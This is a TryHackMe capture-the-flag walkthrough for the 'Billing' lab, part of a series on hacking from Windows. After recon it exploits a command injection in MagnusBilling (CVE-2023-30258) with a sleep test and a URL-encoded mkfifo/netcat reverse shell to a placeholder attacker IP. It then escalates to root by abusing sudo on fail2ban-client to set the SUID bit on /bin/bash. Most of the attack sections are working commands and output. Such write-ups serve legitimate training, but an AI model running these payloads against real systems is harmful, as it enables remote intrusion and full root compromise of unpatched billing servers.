Billing - TryHackMe Walkthrough

Billing - TryHackMe Walkthrough

April 27, 2025

πŸ’» PowerHack Series
This write-up is part of my PowerHack series β€” a personal initiative to solve TryHackMe CTFs using only Windows-based tools.
From PowerShell to WSL, I’m proving that ethical hacking can be done effectively without leaving your Windows workstation.

PowerHack Logga

Billing - TryHackMe Walkthrough

Gain a shell, find a way, and escalate privileges. Bruteforcing is out of scope. TryHackMe.


πŸ” 1. Initial Recon

We begin by scanning the target using Nmap to discover open ports, services, and potential entry points.

Since this walkthrough is focused on Hacking from Windows, we use WSL (Windows Subsystem for Linux) to run Linux tools like Nmap directly on our Windows machine. WSL provides a lightweight Linux environment integrated into Windows without the need for a full virtual machine, making it perfect for Windows-based penetration testing workflows.

wsl nmap -sC -sV -Pn -p- <TARGET-IP> -oN billing-fullscan.txt

Flags explained:

By doing full recon early, we avoid missing hidden or unusual services running on non-standard ports.

✨ Key Open Ports Discovered:

wsl nmap -sC -sV -Pn -p- 10.10.81.237
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-27 11:34 CEST
Nmap scan report for 10.10.81.237
Host is up (0.050s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
|   3072 79:ba:5d:23:35:b2:f0:25:d7:53:5e:c5:b9:af:c0:cc (RSA)
|   256 4e:c3:34:af:00:b7:35:bc:9f:f5:b0:d2:aa:35:ae:34 (ECDSA)
|_  256 26:aa:17:e0:c8:2a:c9:d9:98:17:e4:8f:87:73:78:4d (ED25519)
80/tcp   open  http     Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
| http-title:             MagnusBilling
|_Requested resource was http://10.10.81.237/mbilling/
| http-robots.txt: 1 disallowed entry
|_/mbilling/
3306/tcp open  mysql    MariaDB (unauthorized)
5038/tcp open  asterisk Asterisk Call Manager 2.10.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 83.64 seconds

Discovery Scanning

After identifying a web service running on port 80, we perform directory enumeration to uncover hidden files and directories that may not be linked publicly.

Since we are hacking from Windows, we use Gobuster through PowerShell:

gobuster dir -u http://10.10.81.237/mbilling/ -w C:\Temp\wordlists\common.txt -t 50

Command breakdown:

gobuster dir β€” run Gobuster in directory enumeration mode.

Note: Always adjust the number of threads based on the environment. 50 threads are aggressive but acceptable for CTF environments like TryHackMe.

Scan Results:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.81.237/mbilling/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                C:\Temp\wordlists\common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/LICENSE              (Status: 200) [Size: 7652]
/akeeba.backend.log   (Status: 403) [Size: 277]
/archive              (Status: 301) [Size: 323] [--> http://10.10.81.237/mbilling/archive/]
/assets               (Status: 301) [Size: 322] [--> http://10.10.81.237/mbilling/assets/]
/development.log      (Status: 403) [Size: 277]
/.hta                 (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/fpdf                 (Status: 301) [Size: 320] [--> http://10.10.81.237/mbilling/fpdf/]
/index.html           (Status: 200) [Size: 30760]
/index.php            (Status: 200) [Size: 663]
/lib                  (Status: 301) [Size: 319] [--> http://10.10.81.237/mbilling/lib/]
/production.log       (Status: 403) [Size: 277]
/protected            (Status: 403) [Size: 277]
/resources            (Status: 301) [Size: 325] [--> http://10.10.81.237/mbilling/resources/]
/README.md            (Status: 200) [Size: 1995]
/spamlog.log          (Status: 403) [Size: 277]
/tmp                  (Status: 301) [Size: 319] [--> http://10.10.81.237/mbilling/tmp/]
Progress: 4748 / 4748 (100.00%)
===============================================================
Finished
===============================================================

Important Finding:

πŸ”Ž Web Recon:

Browsing to http://<TARGET-IP>/mbilling/ shows a web app named MagnusBilling.

Found file README.md reveals version MagnusBilling v7.


πŸ›‘οΈ 2. CVE Lookup

Using our PowerHack-CVE.ps1 script to search for known vulnerabilities related to MagnusBilling:

PowerHack-CVE.ps1 -Query "MagnusBilling" -ExportHtml reportCVE.html

CVE Source: CVE-2023-30258

PowerHack CVE-2023-30258 Screenshot

Result:

βœ… This vulnerability is exactly what we need to exploit!


🎯 3. Discovery of Command Injection

Testing if the application is vulnerable to command injection by sending a sleep payload:

$start = Get-Date
Invoke-WebRequest -Uri "http://<TARGET-IP>/mbilling/lib/icepay/icepay.php?democ=;sleep+2;" -UseBasicParsing > $null
$end = Get-Date
Write-Host "Sleep 2 duration: $($end - $start)"

Result:


πŸ”₯ 4. Gaining a Reverse Shell

Setting up a reverse shell using the confirmed injection vulnerability.

$ip = "YOUR-IP"
$port = 4444
$payload = ";rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc $ip $port >/tmp/f;"
$encoded = [System.Web.HttpUtility]::UrlEncode($payload)
Invoke-WebRequest -Uri "http://<TARGET-IP>/mbilling/lib/icepay/icepay.php?democ=$encoded" -UseBasicParsing

Listener:

ncat.exe -lvnp 4444

Result: Reverse shell acquired as low-privileged user.

To improve shell run

python3 -c 'import pty; pty.spawn("/bin/bash")'
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
asterisk@Billing:/var/www/html/mbilling/lib/icepay$

🧹 5. Enumeration & Finding the User Flag

Navigate through the system to find user.txt:

cd /home/magnus
cat user.txt
cd /home/magnus
asterisk@Billing:/home/magnus$ ls -l
ls -l
total 36
drwx------ 2 magnus magnus 4096 Mar 27  2024 Desktop
drwx------ 2 magnus magnus 4096 Mar 27  2024 Documents
drwx------ 2 magnus magnus 4096 Mar 27  2024 Downloads
drwx------ 2 magnus magnus 4096 Mar 27  2024 Music
drwx------ 2 magnus magnus 4096 Mar 27  2024 Pictures
drwx------ 2 magnus magnus 4096 Mar 27  2024 Public
drwx------ 2 magnus magnus 4096 Mar 27  2024 Templates
drwx------ 2 magnus magnus 4096 Mar 27  2024 Videos
-rw-r--r-- 1 magnus magnus   38 Mar 27  2024 user.txt
asterisk@Billing:/home/magnus$

βœ… Successfully retrieved the user flag!


πŸš€ 6. Privilege Escalation via Fail2Ban

During enumeration, we discovered that the asterisk user has passwordless sudo access to the fail2ban-client binary:

πŸ›‘οΈ 6.1 Checking Sudo Permissions

We check what commands we can run with sudo:

sudo -l

Output:

sudo -l
Matching Defaults entries for asterisk on Billing:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for asterisk:
    Defaults!/usr/bin/fail2ban-client !requiretty

User asterisk may run the following commands on Billing:
    (ALL) NOPASSWD: /usr/bin/fail2ban-client
asterisk@Billing:/home/magnus$

Explanation:

This is a critical misconfiguration β€” fail2ban-client can run arbitrary actions as root, depending on how we manipulate it.

πŸ’₯ 6.2 Abusing Fail2Ban to Set the SUID Bit on Bash

Goal: Make /bin/bash a SUID binary, allowing us to spawn a root shell.

We exploit fail2ban-client to modify the iptables action and set the SUID bit on /bin/bash, allowing us to spawn a privileged shell.

Commands:

sudo /usr/bin/fail2ban-client set asterisk-iptables action iptables-allports-ASTERISK actionban 'chmod +s /bin/bash'

Explanation:

Output

sudo /usr/bin/fail2ban-client set asterisk-iptables action iptables-allports-ASTERISK actionban 'chmod +s /bin/bash'
<es-allports-ASTERISK actionban 'chmod +s /bin/bash'
chmod +s /bin/bash
asterisk@Billing:/home/magnus$

βœ… Successfully injected our malicious action!

🎯 6.2 Triggering the Modified Action

Now we need to trigger the action by simulating a ban on an arbitrary IP address:

Command

sudo /usr/bin/fail2ban-client set asterisk-iptables banip 1.2.3.4

Explanation:

Output

sudo /usr/bin/fail2ban-client set asterisk-iptables banip 1.2.3.4
<fail2ban-client set asterisk-iptables banip 1.2.3.4
1
asterisk@Billing:/home/magnus$

βœ… The action was successfully triggered.

πŸ”Ž 6.3 Confirm Bash is Now SUID

Let’s check if the SUID bit was set correctly on /bin/bash:

ls -l /bin/bash

Expected output:

-rwsr-sr-x 1 root root 123456 /bin/bash

βœ… The s in the user permissions (rws) confirms that SUID is active β€” meaning Bash will execute with root privileges regardless of the user running it.

πŸ‘‘ 6.4 Spawn a Root Shell

Now, we can spawn a root shell using the modified Bash:

/bin/bash -p

Output

/bin/bash -p
bash-5.1#

Note: The -p flag tells Bash to preserve privileges, preventing it from dropping root privileges.

🎯 6.5 Improve the Shell

Although we have root, the terminal might feel unstable (missing features like tab completion). We can upgrade it to a proper TTY shell:

python3 -c 'import os;import pty; os.setuid(0); os.setgid(0); pty.spawn("/bin/bash")'

Result in a Bash shell:

bash-5.1# python3 -c 'import os;import pty; os.setuid(0); os.setgid(0); pty.spawn("/bin/bash")'
<os.setuid(0); os.setgid(0); pty.spawn("/bin/bash")'
root@Billing:/home/magnus#

βœ… Now we have a fully functional root shell!


πŸ† 7. Retrieving the Root Flag

With full root access, we can now easily retrieve the final flag.

List files in /root:

ls -l /root

Output

ls -l /root
total 12
-rw-r--r-- 1 root root  1 Mar 31  2024 filename
-rw-r--r-- 1 root root 17 Mar 27  2024 passwordMysql.log
-rw-r--r-- 1 root root 38 Mar 27  2024 root.txt
root@Billing:/home/magnus#

Now grab the root.txt

cat /root/root.txt

βœ… Root flag captured! Billing CTF successfully completed!


πŸ“œ Completion Summary


πŸ–₯️ This write-up demonstrates Hacking from Windows techniques using PowerShell, WSL, and custom tools from the PowerHack arsenal.

πŸš€ Join the PowerHack journey: hacking smarter, faster β€” directly from Windows!